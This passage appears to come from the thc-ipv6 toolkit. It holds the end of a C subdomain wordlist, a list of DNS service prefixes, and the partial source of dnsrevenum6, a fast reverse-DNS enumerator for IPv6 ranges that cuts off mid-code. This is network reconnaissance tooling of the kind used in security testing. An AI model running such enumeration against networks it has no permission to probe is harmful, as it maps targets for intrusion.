"vlan13", "vlan2", "vlan20", "vlan21", "vlan3", "vlan4", "vlan40", "vlan5", "vlan50", "vlan6", "vlan7", "vlan8", "vlan9", "vle", "vm", "vm0", "vm01", "vm02", "vm03", "vm04", "vm05", "vm06", "vm07", "vm1", "vm10", "vm11", "vm12", "vm13", "vm14", "vm2", "vm3", "vm4", "vm5", "vm6", "vm7", "vm8", "vm9", "vma", "vmail", "vmhost", "vmhost01", "vmhost1", "vmm", "vms", "vms1", "vmserver", "vmtest", "vmware", "vmware1", "vmware2", "vmware3", "vn", "vnc", "vnetd", "vo", "vod", "vodka", "voice", "voicemail", "void", "voip", "voip-gw", "voip01", "voip1", "voip2", "voip3", "voip4", "voipsys", "voipsys2", "voir", "volans", "volcano", "volga", "volt", "volta", "voltaire", "volume", "volvo", "voodoo", "vopied", "vortex", "vostok", "vote", "vox", "voyage", "voyager", "vp", "vpi", "vpi2", "vpn", "vpn-1", "vpn-2", "vpn-gw", "vpn0", "vpn01", "vpn02", "vpn03", "vpn04", "vpn05", "vpn06", "vpn1", "vpn10", "vpn11", "vpn12", "vpn13", "vpn14", "vpn15", "vpn16", "vpn17", "vpn18", "vpn19", "vpn2", "vpn20", "vpn21", "vpn22", "vpn23", "vpn24", "vpn25", "vpn26", "vpn28", "vpn3", "vpn30", "vpn4", "vpn5", "vpn6", "vpn7", "vpn8", "vpn9", "vpngate", "vpngw", "vpnserver", "vpnssl", "vpntest", "vps", "vps01", "vps02", "vps03", "vps1", "vps10", "vps11", "vps12", "vps2", "vps3", "vps4", "vps5", "vps6", "vps7", "vps8", "vps9", "vq", "vr", "vr1", "vrrp", "vs", "vs01", "vs02", "vs1", "vs2", "vs3", "vs4", "vs5", "vserv", "vserver", "vserver1", "vserver2", "vsp", "vsphere", "vss", "vt", "vtc", "vu", "vulcan", "vulcano", "vulture", "vv", "vw", "vweb", "vwww01", "vx", "vy", "vz", "vz1", "vz2", "w", "w-03", "w-04", "w0", "w01", "w02", "w03", "w1", "w10", "w11", "w12", "w13", "w14", "w15", "w16", "w17", "w18", "w19", "w2", "w20", "w21", "w22", "w23", "w24", "w25", "w26", "w27", "w28", "w2k3", "w3", "w31", "w32", "w35", "w3cache", "w4", "w5", "w6", "w7", "w8", "w9", "wa", "wagner", "wais", "waldo", "waldorf", "walk", "walker", "wall", "wallaby", "wallace", "wallet", "wally", "walnut", "walrus", "walter", "wam", "wan", "wan1", "wan2", "wanda", "wang", "wap", "wap1", "wap2", "war", "ward", "warehouse", "warhol", "warlock", "warlord", "warp", "warren", "warrior", "warsaw", "warthog", "was", "wasabi", "wash", "washington", "wasp", "watch", "watchdog", "watcher", "water", "watson", "watt", "wave", "waves", "wax", "way", "wayne", "wb", "wbm0", "wbm1", "wc", "wc3", "wcs", "wd", "wd1", "wd10", "wd11", "wd12", "wd13", "wd14", "wd15", "wd16", "wd17", "wd18", "wd19", "wd2", "wd20", "wd21", "wd22", "wd23", "wd24", "wd25", "wd26", "wd27", "wd28", "wd29", "wd3", "wd30", "wd31", "wd32", "wd33", "wd34", "wd35", "wd36", "wd37", "wd38", "wd39", "wd4", "wd40", "wd41", "wd42", "wd43", "wd44", "wd45", "wd46", "wd47", "wd48", "wd49", "wd5", "wd50", "wd51", "wd52", "wd53", "wd54", "wd55", "wd56", "wd57", "wd58", "wd59", "wd6", "wd60", "wd61", "wd62", "wd63", "wd64", "wd65", "wd66", "wd67", "wd68", "wd69", "wd7", "wd70", "wd71", "wd72", "wd73", "wd74", "wd75", "wd76", "wd77", "wd78", "wd79", "wd8", "wd80", "wd81", "wd82", "wd83", "wd84", "wd85", "wd86", "wd87", "wd88", "wd89", "wd9", "wd90", "wd91", "wd92", "wd93", "wd94", "wd95", "wd96", "wd97", "wd98", "wd99", "wds", "we", "weasel", "weather", "web", "web-01", "web-02", "web-1", "web-2", "web-wap", "web-wap2", "web0", "web01", "web02", "web03", "web04", "web05", "web06", "web07", "web08", "web09", "web1", "web10", "web11", "web12", "web13", "web14", "web15", "web16", "web17", "web18", "web19", "web2", "web20", "web21", "web22", "web23", "web24", "web25", "web26", "web27", "web28", "web29", "web3", "web30", "web31", "web32", "web4", "web5", "web6", "web7", "web8", "web9", "webaccess", "webadmin", "webadvisor", "webalizer", "webapp", "webapp1", "webapps", "webapps03", "webauth", "webb", "webboard", "webcache", "webcam", "webcam1", "webcam2", "webcast", "webchat", "webcon", "webconf", "webct", "webdav", "webdb", "webdemo", "webdev", "webdev1", "webdocs", "weber", "webfarm", "webfilter", "webftp", "webgate", "webhelp", "webhost", "webhost1", "webhost2", "webhosting", "weblib", "weblog", "weblogic", "webmail", "webmail01", "webmail02", "webmail1", "webmail2", "webmail3", "webmail4", "webmaster", "webmin", "webportal", "webproxy", "webqa", "webring", "webs", "websense", "webserv", "webserv1", "webserver", "webserver01", "webserver1", "webserver2", "webserver3", "webservice", "webservices", "webshield", "webshop", "website", "websites", "websphere", "websrv", "websrv01", "websrv1", "websrvr", "webstats", "webster", "webstore", "websvr", "webtest", "webtest01", "webtrends", "webvpn", "webwork", "wedge", "weed", "wega", "weiss", "welcome", "welcome1", "welcome2", "welcome3", "welcome4", "well", "wellington", "wells", "wendy", "werner", "wes", "wesley", "west", "westvirginia", "wet", "wf", "wg", "wh", "wh1", "whale", "what", "whatever", "whatsup", "wheat", "wheel", "when", "whiskey", "whisky", "whisper", "whistle", "whistler", "white", "whitney", "whm", "who", "whois", "wholesale", "why", "wi", "wichita", "wide", "widget", "widgets", "wien", "wiener", "wif", "wifi", "wifi1", "wifi2", "wiggum", "wigner", "wii", "wiki", "wilbur", "wild", "wildcard", "wildcat", "wililiam", "will", "william", "williams", "willie", "willing", "willow", "willy", "wilma", "wilson", "win", "win01", "win02", "win1", "win2", "win2000", "win2003", "win2008", "win2k", "win2k3", "win2k8", "win3", "win4", "win7", "wind", "window", "windows", "windows01", "windows02", "windows1", "windows2", "windows2000", "windows2003", "windows2008", "windows7", "windowsvista", "windowsxp", "wine", "wing", "wingate", "winner", "winnie", "winnt", "winproxy", "wins", "winserve", "winston", "winter", "wintermute", "winxp", "wire", "wired", "wireless", "wireless1", "wireless2", "wisconsin", "wisdom", "wise", "wish", "witty", "wizard", "wj", "wk", "wl", "wlan", "wlan-ap1-dynamic", "wlan-ce1-dynamic", "wlan-sw1-dynamic", "wlan1", "wlan2", "wlan6", "wlc", "wm", "wm1", "wm2", "wmail", "wms", "wn", "wo", "wolf", "wolfgang", "wolverine", "wombat", "wonder", "wonderful", "wont", "wood", "woodpecker", "woods", "woodstock", "woody", "wopr", "word", "wordpress", "worf", "work", "worker", "workflow", "workplace", "works", "workshop", "workspace", "workstation", "world", "worm", "wormhole", "worth", "worthwhile", "wotan", "wow", "wowza", "wp", "wp1", "wpad", "wq", "wr", "wraith", "wren", "wrench", "wright", "write", "writer", "writing", "wrt", "ws", "ws0", "ws01", "ws02", "ws03", "ws04", "ws05", "ws06", "ws07", "ws08", "ws09", "ws1", "ws10", "ws11", "ws12", "ws13", "ws14", "ws15", "ws16", "ws17", "ws18", "ws19", "ws2", "ws20", "ws21", "ws22", "ws23", "ws24", "ws25", "ws26", "ws27", "ws28", "ws29", "ws3", "ws30", "ws31", "ws32", "ws33", "ws34", "ws35", "ws36", "ws37", "ws38", "ws39", "ws4", "ws40", "ws41", "ws42", "ws43", "ws44", "ws45", "ws46", "ws47", "ws48", "ws49", "ws5", "ws50", "ws51", "ws52", "ws53", "ws54", "ws55", "ws56", "ws57", "ws58", "ws59", "ws6", "ws60", "ws61", "ws62", "ws63", "ws64", "ws65", "ws66", "ws67", "ws68", "ws69", "ws7", "ws70", "ws71", "ws72", "ws73", "ws74", "ws75", "ws76", "ws77", "ws78", "ws79", "ws8", "ws80", "ws81", "ws82", "ws83", "ws84", "ws85", "ws86", "ws87", "ws88", "ws89", "ws9", "ws90", "ws91", "ws92", "ws93", "ws94", "ws95", "ws96", "ws97", "ws98", "ws99", "wsm", "wss", "wsus", "wt", "wtf", "wts", "wu", "wug", "wusage", "wv", "ww", "ww0", "ww00", "ww01", "ww02", "ww03", "ww1", "ww2", "ww3", "ww4", "ww5", "www", "www-", "www-0", "www-00", "www-01", "www-02", "www-03", "www-1", "www-2", "www-3", "www-6", "www-a", "www-dev", "www-int", "www-ipv6", "www-new", "www-old", "www-test", "www-v6", "www-v6v4", "www0", "www00", "www01", "www02", "www03", "www04", "www05", "www06", "www07", "www08", "www1", "www10", "www11", "www12", "www13", "www14", "www15", "www16", "www17", "www18", "www19", "www2", "www20", "www21", "www22", "www23", "www24", "www25", "www26", "www27", "www28", "www29", "www3", "www30", "www31", "www32", "www33", "www34", "www35", "www36", "www37", "www38", "www4", "www40", "www41", "www42", "www5", "www50", "www51", "www6", "www6test", "www7", "www8", "www9", "wwwchat", "wwwdev", "wwwipv6", "wwwmail", "wwwmg", "wwwold", "wwwqa", "wwwqamg", "wwws", "wwwtest", "wwwtest6", "wwwtst", "wwwv6", "wwww", "wx", "wy", "wyoming", "wyvern", "wz", "x", "x-ray", "x1", "x10", "x11", "x12", "x13", "x14", "x15", "x2", "x21", "x22", "x23", "x24", "x25", "x3", "x4", "x5", "x6", "x7", "x8", "x9", "xa", "xanadu", "xanthus", "xavier", "xb", "xbox", "xc", "xchange", "xcii", "xd", "xdmcp", "xe", "xe-0-0-0", "xe-0-1-0", "xe-0-2-0", "xe-0-2-0-0", "xe-0-3-0", "xe-1-0-0", "xe-1-1-0", "xe-1-2-0-0", "xe-1-3-0", "xe-2-0-0", "xe-2-1-0", "xe-3-0-0", "xen", "xen01", "xen02", "xen03", "xen1", "xen2", "xen3", "xen4", "xen5", "xena", "xenapp", "xenon", "xeon", "xerox", "xerxes", "xf", "xfer", "xg", "xh", "xi", "xj", "xk", "xl", "xlogan", "xm", "xmail", "xml", "xml1", "xmpp", "xmpp-client", "xmpp-server", "xn", "xnet", "xo", "xp", "xpilot", "xq", "xr", "xray", "xs", "xserve", "xserve1", "xserve2", "xserver", "xt", "xtel", "xtell", "xu", "xv", "xw", "xx", "xxx", "xy", "xyz", "xz", "y", "y1", "ya", "yahoo", "yak", "yam", "yamato", "yang", "yankee", "yavin", "yb", "yc", "yd", "ye", "year", "yellow", "yellowstone", "yes", "yeti", "yew", "yf", "yg", "yggdrasil", "yh", "yi", "yin", "yj", "yk", "yl", "ym", "ymir", "yn", "yo", "yoda", "yogi", "york", "yosemite", "yoshi", "you", "young", "your", "youth", "yp", "yq", "yr", "ys", "yt", "yts", "yts1", "yts2", "yttrium", "yu", "yucca", "yuki", "yukon", "yum", "yuri", "yv", "yw", "yx", "yy", "yz", "z", "z-atman", "z-log", "z-tpnetu", "z1", "z2", "z3", "z3950", "za", "zabbix", "zap", "zaphod", "zapp", "zappa", "zarafa", "zb", "zc", "zcs", "zd", "ze", "zealous", "zebra", "zebrasrv", "zed", "zelda", "zen", "zenith", "zeno", "zenon", "zenoss", "zephyr", "zeppelin", "zeppo", "zera", "zerberus", "zero", "zeta", "zeus", "zeus2", "zf", "zg", "zh", "zi", "ziggy", "zim", "zimbra", "zimbra1", "zinc", "zion", "zip", "zippy", "zircon", "zirconium", "zix01", "zixgateway01", "zixvpm", "zixvpm01", "zixvpm02", "zj", "zk", "zl", "zlog", "zm", "zmail", "zn", "zo", "zodiac", "zoe", "zoidberg", "zombie", "zone", "zoo", "zoom", "zoot", "zope", "zorro", "zp", "zq", "zr", "zs", "zserv", "zt", "zu", "zulu", "zurich", "zuse", "zuul", "zv", "zvs", "zw", "zx", "zy", "zz", ""}; char *sub_srv_test[] = {"_1password", "_abi-instrument", "_xmpp-server", "_xmpp-client", "_http", "_https", "_sip", "_sips", "_hydra", "_hyperstream", "_iax", "_foo", "_pop3", "_imap", "_abc", "_zzz", ""}; char *sub_srv[] = {"_1password", "_abi-instrument", "_accessdata-f2d", "_accessdata-f2w", "_accessone", "_accountedge", "_acrobatsrv", "_actionitems", "_activeraid", "_activeraid-ssl", "_addressbook", "_adisk", "_adobe-vc", "_adpro-setup", "_a-d-sync", "_aecoretech", "_aeroflex", "_afpovertcp", "_airport", "_airprojector", "_airsharing", "_airsharingpro", "_amba-cam", "_amiphd-p2p", "_animobserver", "_animolmd", "_anquetsync", "_appelezvous", "_apple-ausend", "_apple-midi", "_applerdbg", "_apple-sasl", "_appletv", "_appletv-itunes", "_appletv-pair", "_aquamon", "_asr", "_astnotify", "_astralite", "_async", "_atlassianapp", "_auth", "_autodiscover", "_av", "_axis-video", "_b3d-convince", "_babyphone", "_bdsk", "_beacon", "_beamer", "_beatpack", "_beep", "_bfagent", "_bigbangchess", "_bigbangmancala", "_bittorrent", "_blackbook", "_bluevertise", "_bookworm", "_bootps", "_boundaryscan", "_bousg", "_bri", "_bsqdea", "_busycal", "_caltalk", "_cardsend", "_cctv", "_cheat", "_chess", "_chfts", "_chili", "_cip4discovery", "_clipboard", "_clique", "_clscts", "_collection", "_com-ocs-es-mcc", "_contactserver", "_corroboree", "_cpnotebook2", "_cvspserver", "_cw-codetap", "_cw-dpitap", "_cw-oncetap", "_cw-powertap", "_cytv", "_daap", "_dacp", "_dancepartner", "_dataturbine", "_device-info", "_difi", "_disconnect", "_distcc", "_dist-opencl", "_ditrios", "_divelogsync", "_dltimesync", "_dns-llq", "_dns-sd", "_dns-update", "_domain", "_dop", "_dossier", "_dpap", "_dropcopy", "_dsl-sync", "_dtrmtdesktop", "_dvbservdsc", "_dxtgsync", "_ea-dttx-poker", "_earphoria", "_eb-amuzi", "_ebms", "_ebreg", "_ecbyesfsgksc", "_ecms", "_edcp", "_egistix", "_eheap", "_embrace", "_ep", "_eppc", "_erp-scale", "_esp", "_eucalyptus", "_eventserver", "_evs-notif", "_ewalletsync", "_example", "_exb", "_exec", "_extensissn", "_eyetvsn", "_facespan", "_fairview", "_faxstfx", "_feed-sharing", "_firetask", "_fish", "_fix", "_fjork", "_fl-purr", "_fmpro-internal", "_fmserver-admin", "_fontagentnode", "_foxtrot-serv", "_foxtrot-start", "_frameforge-lic", "_freehand", "_frog", "_ftp", "_ftpcroco", "_fv-cert", "_fv-key", "_fv-time", "_garagepad", "_gbs-smp", "_gbs-stp", "_gforce-ssmp", "_glasspad", "_glasspadserver", "_glrdrvmon", "_gpnp", "_grillezvous", "_growl", "_guid", "_h323", "_h323cs", "_h323ls", "_helix", "_help", "_hg", "_hinz", "_hmcp", "_homeauto", "_home-sharing", "_honeywell-vid", "_hotwayd", "_howdy", "_hpr-bldlnx", "_hpr-bldwin", "_hpr-db", "_hpr-rep", "_hpr-toollnx", "_hpr-toolwin", "_hpr-tstlnx", "_hpr-tstwin", "_hs-off", "_htsp", "_http", "_https", "_hydra", "_hyperstream", "_iax", "_ibiz", "_ican", "_ica-networking", "_ichalkboard", "_ichat", "_iconquer", "_idata", "_idcws", "_idsync", "_ifolder", "_ihouse", "_ii-drills", "_ii-konane", "_ilynx", "_imap", "_imaps", "_imidi", "_indigo-dvr", "_inova-ontrack", "_ipbroadcaster", "_ipp", "_ipspeaker", "_irelay", "_irmc", "_iscsi", "_ishare", "_isparx", "_ispq-vc", "_isticky", "_istorm", "_itis-device", "_itsrc", "_ivef", "_iwork", "_jcan", "_jabber", "_jabber-conference", "_jeditx", "_jini", "_jtag", "_kerberos", "_kerberos-adm", "_kerberos-iv", "_kerberos-master", "_kpasswd", "_ktp", "_labyrinth", "_lan2p", "_lanrevagent", "_lanrevserver", "_lapse", "_ldap", "_leaf", "_lexicon", "_liaison", "_library", "_llrp", "_llrp-secure", "_lobby", "_logicnode", "_login", "_lonbridge", "_lontalk", "_lonworks", "_lsys-appserver", "_lsys-camera", "_lsys-ezcfg", "_lsys-oamp", "_lux-dtp", "_lxi", "_lyrics", "_macfoh", "_macfoh-admin", "_macfoh-audio", "_macfoh-data", "_macfoh-db", "_macfoh-events", "_macfoh-remote", "_macminder", "_maestro", "_magicdice", "_mandos", "_matrix", "_mbconsumer", "_mbproducer", "_mbserver", "_mconnect", "_mcrcp", "_mediaboard1", "_mesamis", "_mimer", "_mi-raysat", "_modolansrv", "_moneysync", "_moneyworks", "_moodring", "_mother", "_movieslate", "_mp3sushi", "_mqtt", "_mslingshot", "_mttp", "_mumble", "_musicmachine", "_mxim-art2", "_mxim-ice", "_mxs", "_mysync", "_ncbroadcast", "_ncdirect", "_ncsyncserver", "_neoriders", "_net2display", "_net-assistant", "_netrestore", "_newton-dock", "_nfs", "_nicname", "_nssocketport", "_ntlx-arch", "_ntlx-ent", "_ntlx-video", "_ntp", "_ntx", "_obf", "_objective", "_oce", "_odabsharing", "_odisk", "_od-master", "_officetime-sync", "_ofocus-conf", "_ofocus-sync", "_olpc-activity1", "_oma-bcast-sg", "_omni-bookmark", "_omni-live", "_openbase", "_opencu", "_oprofile", "_oscit", "_ovready", "_owhttpd", "_owserver", "_p2pchat", "_panoply", "_parabay-p2p", "_parentcontrol", "_parliant", "_passwordwallet", "_pcast", "_pdl-datastream", "_pgpkey-hkp", "_pgpkey-http", "_pgpkey-https", "_pgpkey-ldap", "_pgpkey-mailto", "_photoparata", "_pictua", "_piesync", "_piu", "_poch", "_pokeeye", "_pop3", "_pop3s", "_postgresql", "_powereasy-erp", "_powereasy-pos", "_pplayer-ctrl", "_presence", "_print-caps", "_printer", "_printer._sub._http", "_profilemac", "_prolog", "_protonet", "_psap", "_psia", "_ptnetprosrv2", "_ptp", "_ptp-req", "_puzzle", "_qbox", "_qttp", "_quinn", "_radioepg", "_radiotag", "_radiovis", "_rakket", "_raop", "_rbr", "_rce", "_rdp", "_realplayfavs", "_recipe", "_remote", "_remoteburn", "_renderpipe", "_rendezvouspong", "_renkara-sync", "_resacommunity", "_resol-vbus", "_retrospect", "_rfb", "_rfbc", "_rfid", "_riousbprint", "_roku-rcp", "_rql", "_rsmp-server", "_rsync", "_rtsp", "_rubygems", "_safarimenu", "_sallingbridge", "_sallingclicker", "_salutafugijms", "_sandvox", "_scanner", "_sc-golf", "_schick", "_scone", "_scpi-raw", "_scpi-telnet", "_sdsharing", "_see", "_seeCard", "_senteo-http", "_sentillion-vlc", "_sentillion-vlt", "_sepvsync", "_serendipd", "_servereye", "_servermgr", "_services", "_sessionfs", "_sflow", "_sftp-ssh", "_sge-exec", "_sge-qmaster", "_shell", "_shifter", "_shipsgm", "_shipsinvit", "_shoppersync", "_shoutcast", "_simmon", "_simusoftpong", "_sip", "_sips", "_sipuri", "_sironaxray", "_skype", "_sleep-proxy", "_slimcli", "_slimhttp", "_smartenergy", "_smb", "_sms", "_soap", "_socketcloud", "_souschef", "_sox", "_sparechange", "_sparql", "_spearcat", "_spike", "_spincrisis", "_splashsync", "_spl-itunes", "_spr-itunes", "_ssh", "_ssscreenshare", "_stanza", "_stickynotes", "_strateges", "_submission", "_supple", "_surveillus", "_svn", "_swcards", "_switcher", "_swordfish", "_sxqdea", "_sybase-tds", "_syncopation", "_syncqdea", "_synergy", "_synksharing", "_taccounting", "_tango", "_tapinoma-ecs", "_taskcoachsync", "_tbricks", "_tcode", "_tcu", "_teamlist", "_te-faxserver", "_teleport", "_telnet", "_tera-fsmgr", "_tera-mp", "_tf-redeye", "_tftp", "_thumbwrestling", "_ticonnectmgr", "_timbuktu", "_tinavigator", "_tivo-hme", "_tivo-music", "_tivo-photos", "_tivo-remote", "_tivo-videos", "_todogwa", "_tomboy", "_toothpicserver", "_touch-able", "_touch-remote", "_tri-vis-client", "_tri-vis-server", "_tryst", "_tt4inarow", "_ttcheckers", "_ttp4daemon", "_tunage", "_tuneranger", "_ubertragen", "_uddi", "_uddi-inq", "_uddi-pub", "_uddi-sec", "_uddi-sub", "_upnp", "_urlbookmark", "_uswi", "_utest", "_uwsgi", "_ve-decoder", "_ve-encoder", "_ve-recorder", "_visel", "_volley", "_vos", "_vue4rendercow", "_vxi-11", "_walkietalkie", "_webdav", "_webdavs", "_webissync", "_wedraw", "_we-jell", "_whamb", "_whistler", "_wired", "_witap", "_witapvoice", "_wkgrpsvr", "_workgroup", "_workstation", "_wormhole", "_writietalkie", "_ws", "_wtc-heleos", "_wtc-qels", "_wtc-rex", "_wtc-viscostar", "_wtc-wpr", "_wwdcpic", "_xcodedistcc", "_xgate-rmi", "_xgrid", "_xmms2", "_xmp", "_xmpp-client", "_xmpp-server", "_x-on", "_x-plane9", "_xsanclient", "_xsanserver", "_xsansystem", "_xserveraid", "_xsync", "_xtimelicence", "_xtshapro", "_xul-http", "_yakumo", ""}; thc-ipv6-3.8/dnsrevenum6.c000066400000000000000000000267111376121567700154720ustar00rootroot00000000000000/* * Simple and fast Reverse DNS Enumerator for IPv6 * - detects wildcard DNS servers * - adapts to lossy/slow DNS server * - fast but non-flooding * - specify the reverse domain as 2001:db8::/56 * or 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa * * (c) 2020 by Marc "van Hauser" Heuse or * The AGPL v3 license applies to this code. * * Compile: gcc -O2 -o dnsrevenum6 dnsrevenum6.c thc-ipv6-lib.o -lcrypto -lssl * -lpcap * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" // do not set below 2 #define WAITTIME_START 2 int sock, len, buf_len, waittime = WAITTIME_START, wait, found = 0, tcp = 0, tcp_offset = 0; unsigned char range[33], buf_start[12], buf_end[14], buf[512], buf2[1024], name[512], dst6[16], *prg, *dst, cnt = 0; int dnssocket(char *server) { struct addrinfo *ai; struct addrinfo hints; int s; struct timeval tv; tv.tv_sec = 1; /* 1 sec Timeout */ tv.tv_usec = 0; // Not init'ing this can cause strange errors memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; if (tcp) { hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; } else { hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = IPPROTO_UDP; } if (getaddrinfo(server, "53", &hints, &ai) != 0) { fprintf(stderr, "Error: unable to resolve dns server %s!\n", server); exit(-1); } if ((s = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) < 0) { fprintf(stderr, "Error: unable to resolve dns server %s!\n", server); exit(-1); } setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof(struct timeval)); if (connect(s, ai->ai_addr, ai->ai_addrlen) < 0) { fprintf(stderr, "Error: unable to connect to dns server %s!\n", server); exit(-1); } freeaddrinfo(ai); return s; } unsigned char tohex(unsigned char c) { if (c < 10) return (c + '0'); else return (c + 'a' - 10); } unsigned char tochar(unsigned char c) { if (c >= '0' && c <= '9') return (c - '0'); else return (tolower(c) - 'a' + 10); } void ignore(int signal) { wait = 0; if (debug) printf("interrupted!\n"); return; } int send_range() { int i, recv_len = sizeof(buf2); for (i = 0; i < 32; i++) { buf[tcp_offset + sizeof(buf_start) + i * 2] = 1; buf[tcp_offset + sizeof(buf_start) + i * 2 + 1] = range[31 - i]; } memcpy(buf + tcp_offset + sizeof(buf_start) + 64, buf_end, sizeof(buf_end)); buf_len = sizeof(buf_start) + 64 + sizeof(buf_end); buf[tcp_offset + 0] = 254; buf[tcp_offset + 1] = cnt++; if (tcp) { buf[0] = buf_len / 256; buf[1] = buf_len % 256; buf_len += 2; } if (send(sock, buf, buf_len, 0) < 0) { fprintf(stderr, "Error: Can not send to network!\n"); exit(-1); } else usleep(5); if (tcp) { alarm(waittime + 1); len = recv(sock, buf2, 2, 0); alarm(0); if (len != 2) return -1; recv_len = (buf2[0] << 8) + buf2[1]; if (recv_len > sizeof(buf2)) return -1; } alarm(waittime + 1); if ((len = recv(sock, buf2, recv_len, 0)) > 20) { alarm(0); if ((buf2[3] & 3) == 0 && buf2[7] == 1) return 0; else return 1; } alarm(0); return -1; } int deeper(int depth) { unsigned char r[16], *ptr2, *foo; int i, j, ok = 0, rs = 0, len, clen, nlen, recv_len = sizeof(buf2); if (depth > 31) return -1; memset(r, 0, sizeof(r)); // generate base packet cnt++; buf[tcp_offset + 1] = cnt; for (i = 0; i < depth; i++) { buf[tcp_offset + sizeof(buf_start) + 2 + i * 2] = 1; buf[tcp_offset + sizeof(buf_start) + 2 + i * 2 + 1] = range[depth - i - 1]; } memcpy(buf + tcp_offset + sizeof(buf_start) + 2 + depth * 2, buf_end, sizeof(buf_end)); buf_len = sizeof(buf_start) + 2 + depth * 2 + sizeof(buf_end); // loop to finish generation and send redo: for (i = 0; i < 16; i++) { if (r[i] == 0) { buf[tcp_offset + 0] = i; buf[tcp_offset + 13] = tohex(i); if (tcp) { buf[0] = buf_len / 256; buf[1] = buf_len % 256; buf_len += 2; } if (send(sock, buf, buf_len, 0) < 0) { fprintf(stderr, "Error: can not send to network!\n"); exit(-1); } else usleep(5); } } // recveive and process replies wait = 1; alarm(waittime); while (ok == 0 && wait == 1) { if (tcp) { recv(sock, buf2, 2, 0); recv_len = (buf2[0] << 8) + buf2[1]; if (recv_len > sizeof(buf2)) { close(sock); sock = dnssocket(dst); goto redo; } } if ((len = recv(sock, buf2, recv_len, 0)) > 70 && buf2[1] == cnt) { i = (buf2[0] & 15); if ((buf2[3] & 3) == 0) { if (depth == 31) { r[i] = 3; if (buf2[7] == 1) { found++; strcpy(name, "Found: "); ptr2 = buf2 + 12; i = 0; while (i < 32 && *ptr2 == 1) { if (i % 2 == 0) j = tochar(ptr2[1]); else dst6[15 - i / 2] = (tochar(ptr2[1]) * 16) + j; ptr2 += 2; i++; } foo = thc_ipv62notation(dst6); strcat(name, foo); free(foo); strcat(name, " is "); ptr2 = buf2 + 102; while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) { clen = *ptr2; nlen = *(ptr2 + clen + 1); *(ptr2 + clen + 1) = 0; strncat(name, ptr2 + 1, sizeof(name) - strlen(name) - 4); strcat(name, "."); *(ptr2 + *ptr2 + 1) = nlen; ptr2 += clen + 1; } if (debug) { strcat(name, " is "); ptr2 = buf2 + 12; while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) { clen = *ptr2; nlen = *(ptr2 + clen + 1); *(ptr2 + clen + 1) = 0; strncat(name, ptr2 + 1, sizeof(name) - strlen(name) - 4); strcat(name, "."); *(ptr2 + *ptr2 + 1) = nlen; ptr2 += clen + 1; } } printf("%s\n", name); } } else r[i] = 2; } else r[i] = 1; rs++; } if (rs == 16) ok = 1; } alarm(0); if (ok == 1 || rs == 16) { // all packets received for (i = 0; i < 16; i++) if (r[i] == 2) { range[depth] = tohex(i); deeper(depth + 1); } } else { // packet loss / timeout if (rs < 16) waittime++; if (rs < 11) waittime++; if (rs < 6) waittime++; if (rs < 2) waittime++; if ((rs == 0 && (waittime >= WAITTIME_START + 6)) || waittime > 15) { fprintf(stderr, "Error: DNS Server %s is not answering or not reliable enough " "anymore!\n", dst); exit(-1); } fprintf(stderr, "Warning: packet loss, increasing response timeout to %d seconds\n", waittime); close(sock); sock = dnssocket(dst); goto redo; } return rs; } int main(int argc, char *argv[]) { unsigned char *ptr, *ptr2, *dest, range_start = 0; ; int i, j, k, ok; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); prg = argv[0]; if (argc > 1 && strncmp(argv[1], "-t", 2) == 0) { tcp = 1; tcp_offset = 2; argv++; argc--; } if (argc < 3) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-t] dns-server ipv6address\n\n", argv[0]); printf( "Performs a fast reverse DNS enumeration and is able to cope with slow " "servers.\n"); printf( "Option -t enables TCP instead of UDP (use this if you get many " "timeouts)\n"); printf("Examples:\n"); printf(" %s dns.test.com 2001:db8:42a8::/48\n", argv[0]); printf(" %s -t dns.test.com 8.a.2.4.8.b.d.0.1.0.0.2.ip6.arpa\n", argv[0]); exit(0); } if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (strcmp(argv[1], "-d") == 0) { debug = 1; argv++; argc--; } dst = argv[1]; ptr = argv[2]; srand(time(NULL) + getpid()); memset(range, 0, sizeof(range)); memset(buf, 0, sizeof(buf)); memset(buf_start, 0, sizeof(buf_start)); memset(buf_end, 0, sizeof(buf_end)); ok = 1; if ((*ptr != '.') && (index((char *)(uintptr_t)ptr, '.') != NULL) && ((ptr2 = (unsigned char *)(uintptr_t)strcasestr((char *)(uintptr_t)ptr, ".ip6.arpa")) != NULL)) { *ptr2 = 0; for (i = strlen(ptr) - 1; i >= 0 && ok == 1; i--) { if ((ptr[i] >= 'A' && ptr[i] <= 'F') || (ptr[i] >= 'a' && ptr[i] <= 'f') || (ptr[i] >= '0' && ptr[i] <= '9')) { range[range_start++] = (char)tolower(ptr[i]); if (i >= 2) { if (ptr[i - 1] != '.') ok = 0; else i--; } } else ok = 0; } } else if (index(ptr, ':') != NULL && (ptr2 = index(ptr, '/')) != NULL) { *ptr2++ = 0; len = atoi(ptr2); if (len % 4 > 0 || len < 4 || len > 124) { fprintf(stderr, "Error: invalid prefix length, must be a multiple of 4!\n"); exit(-1); } if (len < 48) fprintf(stderr, "Warning: prefix length is smaller than 48, usually this does " "not work.\n"); if (len % 8 > 0) j = (len / 8) + 1; else j = len / 8; if ((dest = thc_resolve6(ptr)) == NULL) { fprintf(stderr, "Error: %s gives not a valid IPv6 address\n", ptr); exit(-1); } for (i = 0; i < j; i++) { range[i * 2] = tohex(dest[i] / 16); range[i * 2 + 1] = tohex(dest[i] % 16); } range_start = len / 4; } else ok = 0; if (ok == 0) { fprintf(stderr, "Error: invalid IPv6 address specified: %s\n", argv[2]); exit(-1); } memset(buf_start, 0, sizeof(buf_start)); memset(buf_end, 0, sizeof(buf_end)); buf_start[2] = 1; buf_start[5] = 1; memcpy(buf + tcp_offset, buf_start, sizeof(buf_start)); buf[tcp_offset + 12] = 